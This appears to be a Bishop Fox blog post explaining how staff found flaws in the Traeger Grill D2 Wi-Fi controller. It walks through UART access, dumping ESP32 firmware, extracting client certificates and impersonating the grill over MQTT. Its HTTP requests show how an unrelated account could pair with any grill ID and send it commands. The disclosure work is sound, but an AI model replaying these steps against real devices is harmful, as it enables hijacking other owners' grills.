Product Security Review Methodology for Traeger Grill Hack

Banner with text Traeger Grill Hack

Share

In this blog, we aim to provide additional context on how Bishop Fox staff discovered vulnerabilities in the Traeger Grill D2 Wi-Fi Controller product through a review of our product security review methodology.

After receiving the device, Bishop Fox staff removed the printed circuit board (PCB) from the casing and reviewed the components on the board. The PCB included an ESP32 device and a 10-pin interface. 

10-pin interface on Traeger board
FIGURE 1 - 10-pin interface on Traeger board

The pin-out for the device was detailed on the ESP32 datasheet, as shown below:

ESP32 WROVER-E pin out
FIGURE 2 - ESP32 WROVER-E pin out

As indicated in the diagram above, the TXD0 and RXD0 pins were responsible for UART connections. After tracing the pins on the board, it appeared that these UART pins had physical connections to the 10-pin interface. To confirm, Bishop Fox staff leveraged a multi-meter to check if there was continuity between the Transmit and Receive UART pins on the ESP32 device and the 10-pin interface, as shown below:

Voltage continuity between 10-pin interface and ESP32 UART pins displaying 100 ohms of resistance
FIGURE 3 - Voltage continuity between 10-pin interface and ESP32 UART pins displaying 100 ohms of resistance

As shown above, the multi-meter displayed 100 ohms of resistance showing continuity between the Transmit and Receive UART pins and the 10-pin interface. The 100 ohms of resistance was likely due to the resistors on the back of the board which appeared to reside along the paths of the UART pins.

Resistors on back of the board explaining the resistance
FIGURE 4 - Resistors on back of the board explaining the resistance

Bishop Fox staff made the appropriate hardware connections by connecting the Transmit ESP32 UART pin to the Receive UART pin of the Attify badge and the Receive ESP32 UART pin to the Transmit UART pin of the Attify badge.

UART connections to UART debug bridge
FIGURE 5 - UART connections to UART debug bridge

Next, Bishop Fox staff monitored the serial connection using picocom and observed the following output from the device after booting it:

% sudo ~/Tools/picocom/picocom -b 115200 /dev/cu.usbserial-2
picocom v3.2a
…omitted for brevity…
Terminal ready
ets Jul 29 2019 12:21:46


rst:0x1 (POWERON_RESET),boot:0x17 (SPI_FAST_FLASH_BOOT)
configsip: 0, SPIWP:0xee
clk_drv:0x00,q_drv:0x00,d_drv:0x00,cs0_drv:0x00,hd_drv:0x00,wp_drv:0x00
mode:DIO, clock div:2
load:0x3fff0018,len:4
load:0x3fff001c,len:5736
load:0x40078000,len:7916
load:0x40080000,len:5908
entry 0x40080314
I (29) boot: ESP-IDF v3.1.3-51-g39c6b2f90 2nd stage bootloader
I (29) boot: compile time 12:02:40
I (30) boot: Enabling RNG early entropy source...
I (35) boot: SPI Speed : 40MHz
I (39) boot: SPI Mode : DIO
I (43) boot: SPI Flash Size : 4MB
I (47) boot: Partition Table:
I (51) boot: ## Label Usage Type ST Offset Length
I (58) boot: 0 nvs WiFi data 01 02 00009000 00010000
I (66) boot: 1 otadata OTA data 01 00 00019000 00002000
I (73) boot: 2 factory factory app 00 00 00020000 00100000
I (80) boot: 3 ota_0 OTA app 00 10 00120000 00100000
I (88) boot: 4 ota_1 OTA app 00 11 00220000 00100000
I (95) boot: 5 storage Unknown data 01 82 00320000 000e0000
I (103) boot: End of partition table
I (107) esp_image: segment 0: paddr=0x00120020 vaddr=0x3f400020 size=0x2dee4 (188132) map
I (181) esp_image: segment 1: paddr=0x0014df0c vaddr=0x3ffb0000 size=0x02104 ( 8452) load
I (185) esp_image: segment 2: paddr=0x00150018 vaddr=0x400d0018 size=0xb4448 (738376) map
I (444) esp_image: segment 3: paddr=0x00204468 vaddr=0x3ffb2104 size=0x04714 ( 18196) load
I (451) esp_image: segment 4: paddr=0x00208b84 vaddr=0x40080000 size=0x00400 ( 1024) load
I (452) esp_image: segment 5: paddr=0x00208f8c vaddr=0x40080400 size=0x11714 ( 71444) load
I (499) boot: Loaded app from partition at offset 0x120000
I (499) boot: Disabling RNG early entropy source...
I (500) cpu_start: Pro cpu up.
I (503) cpu_start: Starting app cpu, entry point is 0x40081128
I (0) cpu_start: App cpu up.
I (514) heap_init: Initializing. RAM available for dynamic allocation:
I (521) heap_init: At 3FFAE6E0 len 00001920 (6 KiB): DRAM
I (527) heap_init: At 3FFD0C30 len 0000F3D0 (60 KiB): DRAM
I (533) heap_init: At 3FFE0440 len 00003BC0 (14 KiB): D/IRAM
I (539) heap_init: At 3FFE4350 len 0001BCB0 (111 KiB): D/IRAM
I (545) heap_init: At 40091B14 len 0000E4EC (57 KiB): IRAM
I (552) cpu_start: Pro cpu start user code
I (234) cpu_start: Starting scheduler on PRO CPU.
…omitted for brevity…

As shown above, the UART connection was made successfully, and the device boot logs were displayed to the screen. Moreover, the device could be forced into a download state by connecting the GPIO pin of the device to ground, which ultimately allowed Bishop Fox staff to recover the firmware of the device.

After successfully establishing a UART connection to the device, Bishop Fox staff began interacting with the device to see what information was being logged. During the pairing process, the device hosted an HTTP server that was responsible for facilitating initial device communications with the mobile application. To demonstrate this, Bishop Fox staff captured HTTP traffic from both the mobile device and grill:

Request

POST /prod/pairing-sessions HTTP/2
Host: 1ywgyc65d1.execute-api.us-west-2.amazonaws.com
Authorization: COGNITO_TOKEN
…omitted for brevity…

{"lat":37.421998,"long":-122.084,"thingName":"803428743EA7"}

Response

HTTP/2 200 OK
Content-Type: application/json
…omitted for brevity…

{"pairingToken":"fde5f0f06d4aad2bd11d6ad66272fdeae2fa3c0ce8d9227a92ef8148fdddc8fc","thingName":"803428743EA7"}

As shown above, the mobile device first retrieved a pairing token for the grill which had a grill ID of 803428743EA7. After retrieving this token, the mobile application prompted the user to join the grill’s LAN to share network information and the pairing token.

Request

GET /connect.html HTTP/1.1
Host: mytraegergrill.net
AWS-Pairing-Token: fde5f0f06d4aad2bd11d6ad66272fdeae2fa3c0ce8d9227a92ef8148fdddc8fc
…omitted for brevity…

Response

HTTP/1.1 200 OK
Content-Type: text/json

{"networks": [{"ssid": "GrillMasterWiFi","sec_type": 3,"rssi": -46}
…omitted for brevity…

The above request appeared to inform the mobile client of the networks that the grill could detect and connect to via its Wi-Fi interface. Following this, the mobile application issued an additional POST request to share the pairing token with the grill.

Request

POST /pairingtoken.html HTTP/1.1
AWS-Pairing-Token: fde5f0f06d4aad2bd11d6ad66272fdeae2fa3c0ce8d9227a92ef8148fdddc8fc
…omitted for brevity…

__SL_P_UN1=fde5f0f06d4aad2bd11d6ad66272fdea&__SL_P_UN2=e2fa3c0ce8d9227a92ef8148fdddc8fc

Response

HTTP/1.1 200 OK

The parameters from the above request reflect the pairing token split into two 32-character strings. Subsequently, the mobile application shared the network information to allow the grill to connect to the home network:

Request

POST /nothing.html HTTP/1.1
Host: mytraegergrill.net
AWS-Pairing-Token: fde5f0f06d4aad2bd11d6ad66272fdeae2fa3c0ce8d9227a92ef8148fdddc8fc
…omitted for brevity…

__SL_P_USE=2&__SL_P_USD= GrillMasterWiFi&__SL_P_USG=1&__SL_P_USF=[REDACTED Wi-Fi Password]&__SL_P_USC=Add

Response

HTTP/1.1 200 OK

After receiving the network information, the grill connected to the specified Wi-Fi network and registered itself to AWS IoT. Notably, the registration interactions were TLS encrypted, but Bishop Fox staff bypassed this protective measure by patching the firmware and downgrading to HTTP. The registration can be seen in the following intercepted request:

Request

POST /certs HTTP/2
Host: durable-api.iot.traegergrills.io
Authorization: fde5f0f06d4aad2bd11d6ad66272fdeae2fa3c0ce8d9227a92ef8148fdddc8fc
…omitted for brevity…

{
 "thingName": "803428743EA7",
 "csr": "-----BEGIN CERTIFICATE REQUEST-----\nMIICgTCCAWkCAQAwPDELMAkGA1UEBhMCVVMxEDAOBgNVBAoTB1RyYWVnZXIxGzAZ\nBgNVBAMTElRyYWVnZXIgSW9UIERldmljZTCCASIwDQYJKoZIhvcNAQEBBQADggEP\nADCCAQoCggEBAL4O20OYw2mDbk1kH/0cZ3h3ZxQhrYvZcPrQLBhsQOJ+c3D22ps9\ngAkf0j6XsOU7pIHX+xPDOpODaWX7OPq37RGjne8YbYy1p9PnMHYpnyajaCkXCjlW\nnWSJv51Cu36OBah4SAv+wd3v1l4oOXCFfiwAqobvqTxouKs1TkB47fRBSkI2OrLq\nR2qbYxZkCfi2lJiL3Gf/eB+1+uZumYYtjkKXe+WKGsbMw95aUr6BjX6i9Vv2x5lN\nKA8IEYDFZZ3vsxJUAbD0suh1Bmm6zRT9VmAbg65zWQMDaQi8T08hKVz1//rRqqo+\n3WffHdORnB6AyHTkiBizrTCmbJ1x2Dk06+UCAwEAAaAAMA0GCSqGSIb3DQEBCwUA\nA4IBAQADCxk3uJqgL9uquOGwXpaqCP34wASDulMitICb2FWy6IRQT9jfhpZufAjn\n43VU8QOPx3TGiAbQHmRWoN/D0y3+eGEytZ/UOvBAukclfQcsiGtz9wm77rT4oLsP\nXsu3cCfwKU90jUbAIKD/qjvVni7nF6EKpS70iwUn+0QVwGY5LlCyurdRKmH82ebP\nBctw3EviPOyv2XkjwEQTrfA26XNqv5RMewa951q7mZDLzP1KDWFXhR5aj+h7VKIS\nz5wzuh3/dXOjSvuSpMBqYKrKoG2bi2ItgoPS3uDT5i5BhldOTKiPo9w4UR3YyE1o\nCUIwgSarsz/b9ZtfO3CddRY1WFvx\n-----END CERTIFICATE REQUEST-----\n"

Response

HTTP/2 200 OK
Content-Type: application/json
…omitted for brevity…

{"certificate":"-----BEGIN CERTIFICATE-----\nMIIDeDCCAmCgAwIBAgIVAL3s+ljpusLF05NHOtmnYD3f5D8pMA0GCSqGSIb3DQEB\nCwUAME0xSzBJBgNVBAsMQkFtYXpvbiBXZWIgU2VydmljZXMgTz1BbWF6b24uY29t\nIEluYy4gTD1TZWF0dGxlIFNUPVdhc2hpbmd0b24gQz1VUzAeFw0yMzEyMjUxNjMy\nMDRaFw00OTEyMzEyMzU5NTlaMDwxCzAJBgNVBAYTAlVTMRAwDgYDVQQKEwdUcmFl\nZ2VyMRswGQYDVQQDExJUcmFlZ2VyIElvVCBEZXZpY2UwggEiMA0GCSqGSIb3DQEB\nAQUAA4IBDwAwggEKAoIBAQC+DttDmMNpg25NZB/9HGd4d2cUIa2L2XD60CwYbEDi\nfnNw9tqbPYAJH9I+l7DlO6SB1/sTwzqTg2ll+zj6t+0Ro53vGG2MtafT5zB2KZ8m\no2gpFwo5Vp1kib+dQrt+jgWoeEgL/sHd79ZeKDlwhX4sAKqG76k8aLirNU5AeO30\nQUpCNjqy6kdqm2MWZAn4tpSYi9xn/3gftfrmbpmGLY5Cl3vlihrGzMPeWlK+gY1+\novVb9seZTSgPCBGAxWWd77MSVAGw9LLodQZpus0U/VZgG4Ouc1kDA2kIvE9PISlc\n9f/60aqqPt1n3x3TkZwegMh05IgYs60wpmydcdg5NOvlAgMBAAGjYDBeMB8GA1Ud\nIwQYMBaAFK5LcpMC+tMMCts/MFF8rCzyeGBbMB0GA1UdDgQWBBRlT2pg4UoHtTrF\nSckFkVZwPofFxjAMBgNVHRMBAf8EAjAAMA4GA1UdDwEB/wQEAwIHgDANBgkqhkiG\n9w0BAQsFAAOCAQEAmad1qCwQYzhAR7VqEHhI4X5p6yVQ+cSS6AF1a/zpPKJppwPQ\nStDCF9ewjZlsE9o6qnClOQV9UgCaxJmX6ZHHjEitPnF+jIafDlYOxboXGxh2Z661\n4sGsK3VEStfjNtnN10GdETAG7ThWmVXxOYml+ybWDUy2l9iw/pq6uuAZEtjcUxlh\nSQl9jphjMjadRYAPtoegBnCGvdpDGmnz90b9aIu7U1wCcgV7QEKX+xHArCH+e9Mr\nItUCrKpFXybhzBPtbLp/4s2fa9KsX5s5WshIrq9Q/Ee/a0rWqO2HwV+erWg87uGc\n1Vr8lRPuSWKwxqYG/Z35IS5gzUkhy0q1qJVjDg==\n-----END CERTIFICATE-----\n"}

The above certificate retrieved from the/certs API was subsequently downloaded and used by the device to facilitate secure mqtts communications with the server. This was further evidenced by the UART debug logs that Bishop Fox staff captured during the pairing process.

(364403) OtaDownloadInterface: HTTP POST data:
{
 "thingName": "803428743EA7",
 "csr": "-----BEGIN CERTIFICATE REQUEST-----\nMIICgTCCAWkCAQAwPDELMAkGA1UEBhMCVVMxEDAOBgNVBAoTB1RyYWVnZXIxGzAZ\nBgNVBAMTElRyYWVnZXIgSW9UIERldmljZTCCASIwDQYJKoZIhvcNAQEBBQADggEP\nADCCAQoCggEBANAAmIO52U4v1K9DSUfbFL8jSMR/lUQzOch8cNtY9Dd99uyESIw1\ncyHHFgY5ZZWhdzxQWs3/OkDNURvZ/BLkQ++z0qQNTGDdeR+N7Rmb7d8xYkDEkMM6\nmEY9am/3BpfV0b9g7BMo+M410OrAqPCX/CZ01KqdHxCesBQNff81FYr3ccfouvZi\ngoUL8CaE4t98P7KvAOD2r8jXCGsZpMdbkFQbg5dB1fyWPr7qoJ+1l1xYNhRd80Ft\nsoy5Z2ZwAaDCqSsbLavDNnWYDV49PHVZ4PWckFrH6qVhJT+xGQEsutJB2Bf6HhgW\nRuweXAOFsQcb6M1HgW/JdfdvWF0O5KGSwPsCAwEAAaAAMA0GCSqGSIb3DQEBCwUA\nA4IBAQAAhSzZlfx54gzRSZHIg1rvRPN6/f6QSwoJVjRDSv85RTRXhR7znwPBX25e\nH547VKXH3wwu0vvboVFqFf+3AMyt9pIFJ5WMsj6BwgrOTVSqnmltWblvOJfWnK3V\nBGkWB+3OmgcHTx9kmg7NWGGtp0rldugy5h0Yr9cagvfDoV+3XvvFsfbtM1VT75Pg\n7xw6g2bhcBLtTSFUFRQ08PY6M4Sf93p7fyDO1M/Wff8SHy/heIr2Gbirp/+2WlDn\n4yLj4RHMiRqxEfcZSPOGmfIBIUqWxSUnKhGtGrVFgy8ybI7hwgtVuGRNcaNirB40\nrKMQ0/2eBV34A7u8kRiHG8Hbvgkr\n-----END CERTIFICATE REQUEST-----\n"
}
I (364507) OtaDownloadInterface: Connecting to https://durable-api.iot.traegergrills.io/certs
…omitted for brevity…
(366949) OtaDownloadInterface: HTTP_EVENT_ON_CONNECTED
D (366953) OtaDownloadInterface: Writing POST data
…omitted for brevity…
OtaDownloadInterface: HTTP_EVENT_ON_HEADER
D (368109) OtaDownloadInterface: HTTP_EVENT_ON_DATA, len=432
I (368341) FILE SYSTEM: File clientCert.pem exists: 0, File in use: 0
D (368541) OtaDownloadInterface: HTTP_EVENT_ON_DATA, len=512
D (368541) OtaDownloadInterface: HTTP_EVENT_ON_DATA, len=356
D (368542) OtaDownloadInterface: Writing value for certificate to file
…omitted for brevity…
I (368658) FILE SYSTEM: File path = /spiffs/clientCert.pem
I (368664) FILE SYSTEM: Writing file
I (368720) FILE SYSTEM: Opened file for write (binary mode): /spiffs/clientCert.pem
D (368827) OtaDownloadInterface: HTTP_EVENT_DISCONNECTED
D (368830) OtaDownloadInterface: HTTP_EVENT_DISCONNECTED
I (368830) OtaDownloadInterface: Download completed cleanly: true.
I (368836) FILE SYSTEM: Closed file: clientCert.pem
I (368939) MqttConnectAndRun: Attempt #1 Cert download succeeded

As shown, the device generated a Certificate Signing Request (CSR) during the pairing process and wrote it to the /certs API. Subsequently, the API responded with a certificate which was downloaded and written to /spiffs/clientCert.pem. This certificate was then used by the mqtt client to open an encrypted channel to the API.

At a high-level, the mqtt protocol follows a publisher/subscriber model. The subscriber (the grill) subscribed to a topic that the publisher (the API) posted messages to. Therefore, upon device boot, the grill connected via mqtts (MQTT Secure) to the API and consumed messages which could include grill commands.

To demonstrate this, Bishop Fox staff imitated the grill’s mqtt client by dumping the generated certificates from the firmware and connecting to the API with their own mqtt client. Since the firmware resided on an ESP32 device, esptool.py was used to dump the firmware after making the appropriate hardware connections. This tool was also used to confirm the size of the flash as shown below:

sudo esptool.py --port /dev/cu.usbserial-2 flash_id
esptool.py v4.7.0
Serial port /dev/cu.usbserial-2
Connecting.....
Detecting chip type... Unsupported detection protocol, switching and trying again...
Connecting...
Detecting chip type... ESP32
Chip is ESP32-D0WD-V3 (revision v3.0)
Features: WiFi, BT, Dual Core, 240MHz, VRef calibration in efuse, Coding Scheme None
Crystal is 40MHz
MAC: 34:94:54:4a:97:54
Uploading stub...
Running stub...
Stub running...
Manufacturer: 20
Device: 4016
Detected flash size: 4MB
Hard resetting via RTS pin...

After determining the flash size, Bishop Fox staff used esptool.py to dump the firmware which had a size of 4MB.

% sudo esptool.py --port /dev/cu.usbserial-2  read_flash 0 0x400000 flash_contents.bin
esptool.py v4.7.0
Serial port /dev/cu.usbserial-2
Connecting...
Detecting chip type... Unsupported detection protocol, switching and trying again...
Connecting...
Detecting chip type... ESP32
Chip is ESP32-D0WD-V3 (revision v3.0)
Features: WiFi, BT, Dual Core, 240MHz, VRef calibration in efuse, Coding Scheme None
Crystal is 40MHz
MAC: 34:94:54:4a:97:54
Stub is already running. No upload is necessary.
4194304 (100 %)
4194304 (100 %)
Read 4194304 bytes at 0x00000000 in 387.7 seconds (86.6 kbit/s)...
Hard resetting via RTS pin...

According to ESP32 documentation, ESP32 firmware is divided into several partitions to enable multiple apps to be flashed to the device. Fortunately, tooling exists for dumping ESP32 partitions as well as the partition table. By using esp32_image_parser.py, Bishop Fox staff retrieved the partition table as shown below:

% python3 ~/Tools/esp32_image_parser/esp32_image_parser.py show_partitions flash_contents.bin
reading partition table...
entry 0:
 label      : nvs
 offset     : 0x9000
 length     : 65536
 type       : 1 [DATA]
 sub type   : 2 [WIFI]
…omitted for brevity…
entry 4:
 label      : ota_1
 offset     : 0x220000
 length     : 1048576
 type       : 0 [APP]
 sub type   : 17 [ota_1]
entry 5:
 label      : storage
 offset     : 0x320000
 length     : 917504
 type       : 1 [DATA]
 sub type   : 130 [unknown]

The certificates were located in the storage partition which begins at the 0x320000 memory address.

% python3 ~/Tools/esp32_image_parser/esp32_image_parser.py dump_partition ./flash_contents.bin -p storage
Dumping partition 'storage' to storage_out.bin

After dumping the storage partition, Bishop Fox staff retrieved the certificates using mkspiffs.

% ~/Tools/mkspiffs/mkspiffs ./storage_out.bin -u ./dest
Directory ./dest does not exists. Try to create it.
/currentConfig.txt > ./dest/currentConfig.txtsize: 1398 Bytes
/clientCert.key > ./dest/clientCert.keysize: 1679 Bytes
/clientCert.pub > ./dest/clientCert.pubsize: 451 Bytes
/clientCert.pem > ./dest/clientCert.pemsize: 1261 Bytes

As shown above, the client certificates have been successfully retrieved from the firmware.

Next, Bishop Fox staff used mqttx (an mqtt client) to imitate the grill and connect to the API endpoint. The client was configured to leverage the extracted certificates to initiate the secure mqtts connection.

Configured mqttx client
FIGURE 6 - Configured mqttx client

Additionally, Bishop Fox staff subscribed to the prod/803428743EA7/run_cmd topic within the client which the grill used to receive commands. To validate this connection, Bishop Fox staff launched the mobile app and intercepted one of the commands.

Request

POST /prod/things/803428743EA7/commands HTTP/2
Host: 1ywgyc65d1.execute-api.us-west-2.amazonaws.com
Authorization: [COGNITO_TOKEN]
…omitted for brevity…

{
 "command" : "112,60"
}

Response

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
…omitted for brevity…
{}

Next, Bishop Fox staff observed that the command had been successfully received by the mqttx client:

Grill imitating client successfully receiving command
FIGURE 7 – Grill imitating client successfully receiving command

With this valid connection, Bishop Fox staff could now test for authorization issues and validate whether the grill could receive commands from unauthorized users. To test this, Bishop Fox staff registered an entirely new Traeger account via the mobile application. Next, using the new account, Bishop Fox staff attempted to register the grill under the account that should not have access to it:

Request

POST /prod/pairing-sessions HTTP/2
Host: 1ywgyc65d1.execute-api.us-west-2.amazonaws.com
Authorization: [NEW_COGNITO_TOKEN]
…omitted for brevity…

{"thingName":"803428743EA7"}

Response

HTTP/2 200 OK
Content-Type: application/json
…omitted for brevity…

{"pairingToken":"33e6099c4d36a84e7081954624110d1921d281f3d6d8766410ef4a21604644e9","thingName":"803428743EA7"}

As shown above, Bishop Fox staff retrieved a new pairingToken for the grill specifying the same grill ID. Next, Bishop Fox staff sent a subsequent request to the /certs API to complete the grill pairing process, using a self-signed certificate signing request to show that the certificate generated by the device was not needed.

Request

POST /certs HTTP/2
Host: durable-api.iot.traegergrills.io
Authorization: 33e6099c4d36a84e7081954624110d1921d281f3d6d8766410ef4a21604644e9
…omitted for brevity…

{
 "thingName": "803428743EA7",
 "csr": "-----BEGIN CERTIFICATE REQUEST-----\nMIICqDCCAZACAQAwYzELMAkGA1UEBhMCVVMxCzAJBgNVBAgMAkhXMQowCAYDVQQHDAFhMSEwHwYDVQQKDBhJbnRlcm5ldCBXaWRnaXRzIFB0eSBMdGQxCjAIBgNVBAsMAWQxDDAKBgNVBAMMA2JvYjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAPueyA6os9H7V7T65nd8rm5mTrbpSSFYFheRYN3aaZ8gvROWUJnz3b6EKKzSwBWaQCJEAY1fMsicAMuOpq+u6YMFq1utda4uLaVRzGfbJBIKMOAAYaoC/lp8iwA0Z3HRUWx/kVO2shBal7mm7kgq+i9vGf/k2qG2Phx/aqvcaJpsKskTt9pz5GdYpBKav8FEg2YW601JXEY4+MIylDbU3Y0DAdSftYzaYk7Ol64eqGz/1DRaww5VNAaRz5TdIYaKbalphLr7rPwaui76pmbgNLXzMXnhwQeh4nwn0ObdwWX+OOBRTmKM8vg6r+AqRR4tkZFX7qGU3rXsC3S29lA48I8CAwEAAaAAMA0GCSqGSIb3DQEBCwUAA4IBAQA+J4qAwpvur1AM2XPKSE7aOM1+E5Rbn7uSpjuROc5Q7O764kGNsptJaUgX8PrS4OW3O1n9sQOHbLF6Qya4ay2MUPApvekw5OwmaNY1YnTquhPlGy11Dad5smuyrEMN7Zl5GGH2F0/q3pa2Jt7cnLWj2gfFIMC8d3HxFNTPbf/ZhJnE1eElwtNS0DFkrTbgDRo3Smu+BjLljMFRVonbfZefBxrIEx8ghgVzyKMJe0w7C9e6Mt4so2OJTuh2MGZmRa1IaeSm0tND5JS/YdLcXm58O7b9M61uKMgOyerxbiTp/LyaHlUmoVIElcGGz2R/WHi5pLuHKsxscbqX//mo2lnS\n-----END CERTIFICATE REQUEST-----\n"
}

Response

HTTP/2 200 OK
Content-Type: application/json
…omitted for brevity…

{"certificate":"-----BEGIN CERTIFICATE-----\nMIIDnjCCAoagAwIBAgIULItWQDaaBwZJXb9djdZQZIU4b7owDQYJKoZIhvcNAQEL\nBQAwTTFLMEkGA1UECwxCQW1hem9uIFdlYiBTZXJ2aWNlcyBPPUFtYXpvbi5jb20g\nSW5jLiBMPVNlYXR0bGUgU1Q9V2FzaGluZ3RvbiBDPVVTMB4XDTIzMTIyODE1NDQ1\nNloXDTQ5MTIzMTIzNTk1OVowYzELMAkGA1UEBhMCVVMxCzAJBgNVBAgMAkhXMQow\nCAYDVQQHDAFhMSEwHwYDVQQKDBhJbnRlcm5ldCBXaWRnaXRzIFB0eSBMdGQxCjAI\nBgNVBAsMAWQxDDAKBgNVBAMMA2JvYjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC\nAQoCggEBAPueyA6os9H7V7T65nd8rm5mTrbpSSFYFheRYN3aaZ8gvROWUJnz3b6E\nKKzSwBWaQCJEAY1fMsicAMuOpq+u6YMFq1utda4uLaVRzGfbJBIKMOAAYaoC/lp8\niwA0Z3HRUWx/kVO2shBal7mm7kgq+i9vGf/k2qG2Phx/aqvcaJpsKskTt9pz5GdY\npBKav8FEg2YW601JXEY4+MIylDbU3Y0DAdSftYzaYk7Ol64eqGz/1DRaww5VNAaR\nz5TdIYaKbalphLr7rPwaui76pmbgNLXzMXnhwQeh4nwn0ObdwWX+OOBRTmKM8vg6\nr+AqRR4tkZFX7qGU3rXsC3S29lA48I8CAwEAAaNgMF4wHwYDVR0jBBgwFoAUy24K\n2Wfaa9J+S7BMJ/Wv+esVvlEwHQYDVR0OBBYEFIwGcb+YrXxEOZcPPiFmkclhSGLT\nMAwGA1UdEwEB/wQCMAAwDgYDVR0PAQH/BAQDAgeAMA0GCSqGSIb3DQEBCwUAA4IB\nAQB1GEi1fKXwUgBI0VDZ0RFVSQCtFH1MeMPE+htPOuoxBvztefiywDozQR4V2no8\nEmxDp5a4W/9Y0Xs+PAXU1AtgpfQWpwR0sxcdOSPW8x6jNv9f5Laj+mcbiQapw1ab\n5BjizgV4eKCTrUYC37oFN/kAmwZDDw+0s4a1VfO2vvy43/YtYsPUk840moPywoz+\n9aIJwgXFqmmt3YNwV5hRg0c7VXbfW2zy50BuqZlU9jDyu5d88u3xU3M1YHTbTGDp\nhg4ByM52/Ve9zs/Ge0nGQuXM8gE1lNZvYsDxVvCQlJSRgGU+EypSGt7UjSOvIwu6\nrnMvo4g8qaJVN4okrnQdqLzW\n-----END CERTIFICATE-----\n"}

As shown above, the API accepted the request. Additionally, this did not affect the current certificate configuration of the mqtts connection as the device could still connect. After calling /certs, the grill was now also associated with the new Cognito identity, and Bishop Fox staff could issue commands to it.

Request

POST /prod/things/803428743EA7/commands HTTP/2
Host: 1ywgyc65d1.execute-api.us-west-2.amazonaws.com
Authorization: [NEW_COGNITO_TOKEN]
…omitted for brevity…

{
 "command" : "15"
}

Response

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
…omitted for brevity…

{}

As shown above, the API accepted the command and did not respond with any authorization errors. Next, Bishop Fox staff observed that the mqtts client had successfully received the command:

Imitating client receiving command from account that shouldn’t be authorized
FIGURE 8 – Imitating client receiving command from account that shouldn’t be authorized

As shown above, the mqtt client successfully received grill commands from the account that should not have access. To confirm this worked with a real grill, Bishop Fox staff collaborated with another consultant who owned a Traeger grill with a grill ID of XXXXXXXXF79B. Using the Traeger APIs, Bishop Fox staff attempted to associate the grill with their Cognito identity.

Request

POST /prod/pairing-sessions HTTP/2
Host: 1ywgyc65d1.execute-api.us-west-2.amazonaws.com
Authorization: [COGNITO_TOKEN]
…omitted for brevity…

{"thingName":"XXXXXXXXF79B"}

Response

HTTP/2 200 OK
Content-Type: application/json
…omitted for brevity…

{"pairingToken":"daf7b23595e63dddc5e1f0c4d989e3e107ba620c75df4bd0066b7fe3f1603da6","thingName":"XXXXXXXXF79B"}

After retrieving the pairing token, Bishop Fox staff issued a subsequent request to the /certs API specifying the new thingName and pairingToken.

Request

POST /certs HTTP/2
Host: durable-api.iot.traegergrills.io
Authorization: daf7b23595e63dddc5e1f0c4d989e3e107ba620c75df4bd0066b7fe3f1603da6
…omitted for brevity…

{
 "thingName": "XXXXXXXXF79B",
 "csr": "-----BEGIN CERTIFICATE REQUEST-----\nMIICqDCCAZACAQAwYzELMAkGA1UEBhMCVVMxCzAJBgNVBAgMAkhXMQowCAYDVQQHDAFhMSEwHwYDVQQKDBhJbnRlcm5ldCBXaWRnaXRzIFB0eSBMdGQxCjAIBgNVBAsMAWQxDDAKBgNVBAMMA2JvYjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAPueyA6os9H7V7T65nd8rm5mTrbpSSFYFheRYN3aaZ8gvROWUJnz3b6EKKzSwBWaQCJEAY1fMsicAMuOpq+u6YMFq1utda4uLaVRzGfbJBIKMOAAYaoC/lp8iwA0Z3HRUWx/kVO2shBal7mm7kgq+i9vGf/k2qG2Phx/aqvcaJpsKskTt9pz5GdYpBKav8FEg2YW601JXEY4+MIylDbU3Y0DAdSftYzaYk7Ol64eqGz/1DRaww5VNAaRz5TdIYaKbalphLr7rPwaui76pmbgNLXzMXnhwQeh4nwn0ObdwWX+OOBRTmKM8vg6r+AqRR4tkZFX7qGU3rXsC3S29lA48I8CAwEAAaAAMA0GCSqGSIb3DQEBCwUAA4IBAQA+J4qAwpvur1AM2XPKSE7aOM1+E5Rbn7uSpjuROc5Q7O764kGNsptJaUgX8PrS4OW3O1n9sQOHbLF6Qya4ay2MUPApvekw5OwmaNY1YnTquhPlGy11Dad5smuyrEMN7Zl5GGH2F0/q3pa2Jt7cnLWj2gfFIMC8d3HxFNTPbf/ZhJnE1eElwtNS0DFkrTbgDRo3Smu+BjLljMFRVonbfZefBxrIEx8ghgVzyKMJe0w7C9e6Mt4so2OJTuh2MGZmRa1IaeSm0tND5JS/YdLcXm58O7b9M61uKMgOyerxbiTp/LyaHlUmoVIElcGGz2R/WHi5pLuHKsxscbqX//mo2lnS\n-----END CERTIFICATE REQUEST-----\n"
}

Response

HTTP/2 200 OK
Content-Type: application/json
…omitted for brevity…

{"certificate":"-----BEGIN CERTIFICATE-----\nMIIDnzCCAoegAwIBAgIVAJjiNeO0iQb6uEBVsJWLGgPFSyHiMA0GCSqGSIb3DQEB\nCwUAME0xSzBJBgNVBAsMQkFtYXpvbiBXZWIgU2VydmljZXMgTz1BbWF6b24uY29t\nIEluYy4gTD1TZWF0dGxlIFNUPVdhc2hpbmd0b24gQz1VUzAeFw0yMzEyMjkyMTM5\nMTNaFw00OTEyMzEyMzU5NTlaMGMxCzAJBgNVBAYTAlVTMQswCQYDVQQIDAJIVzEK\nMAgGA1UEBwwBYTEhMB8GA1UECgwYSW50ZXJuZXQgV2lkZ2l0cyBQdHkgTHRkMQow\nCAYDVQQLDAFkMQwwCgYDVQQDDANib2IwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw\nggEKAoIBAQD7nsgOqLPR+1e0+uZ3fK5uZk626UkhWBYXkWDd2mmfIL0TllCZ892+\nhCis0sAVmkAiRAGNXzLInADLjqavrumDBatbrXWuLi2lUcxn2yQSCjDgAGGqAv5a\nfIsANGdx0VFsf5FTtrIQWpe5pu5IKvovbxn/5Nqhtj4cf2qr3GiabCrJE7fac+Rn\nWKQSmr/BRINmFutNSVxGOPjCMpQ21N2NAwHUn7WM2mJOzpeuHqhs/9Q0WsMOVTQG\nkc+U3SGGim2paYS6+6z8Grou+qZm4DS18zF54cEHoeJ8J9Dm3cFl/jjgUU5ijPL4\nOq/gKkUeLZGRV+6hlN617At0tvZQOPCPAgMBAAGjYDBeMB8GA1UdIwQYMBaAFDs+\nx7e9MVP5WVrTFdjYaMA6B3rxMB0GA1UdDgQWBBSMBnG/mK18RDmXDz4hZpHJYUhi\n0zAMBgNVHRMBAf8EAjAAMA4GA1UdDwEB/wQEAwIHgDANBgkqhkiG9w0BAQsFAAOC\nAQEAQc5zXuxgl1/6Bj3Bq6l/mO7u+/kV97ntVyNo